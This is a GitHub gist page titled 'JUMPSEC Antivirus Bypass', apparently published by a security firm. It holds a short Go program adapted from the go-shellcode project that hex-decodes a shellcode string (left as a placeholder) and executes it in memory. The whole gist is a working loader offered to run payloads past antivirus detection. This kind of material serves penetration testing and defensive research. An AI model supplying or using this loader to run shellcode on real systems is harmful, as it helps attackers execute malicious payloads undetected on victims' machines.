Created
June 20, 2019 10:56
-
-
Save JumpsecLabs/202f95f9cce1ff35f140a37de0e62f30 to your computer and use it in GitHub Desktop.
JUMPSEC Antivirus Bypass
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"encoding/hex" | |
"fmt" | |
"os" | |
shellcode "github.com/brimstone/go-shellcode" | |
) | |
// This is the main.go for https://github.com/brimstone/go-shellcode/. Full code should be taken from there, and full credit to Brimstone for the fine work. | |
func main() { | |
//if len(os.Args) != 2 { | |
// fmt.Printf("Must have shellcode\n") | |
// os.Exit(1) | |
//} | |
sc :="SHELLCODE-GOES-HERE" | |
sc_bin, err := hex.DecodeString(sc) | |
if err != nil { | |
fmt.Printf("Error decoding arg 1: %s\n", err) | |
os.Exit(1) | |
} | |
shellcode.Run(sc_bin) | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment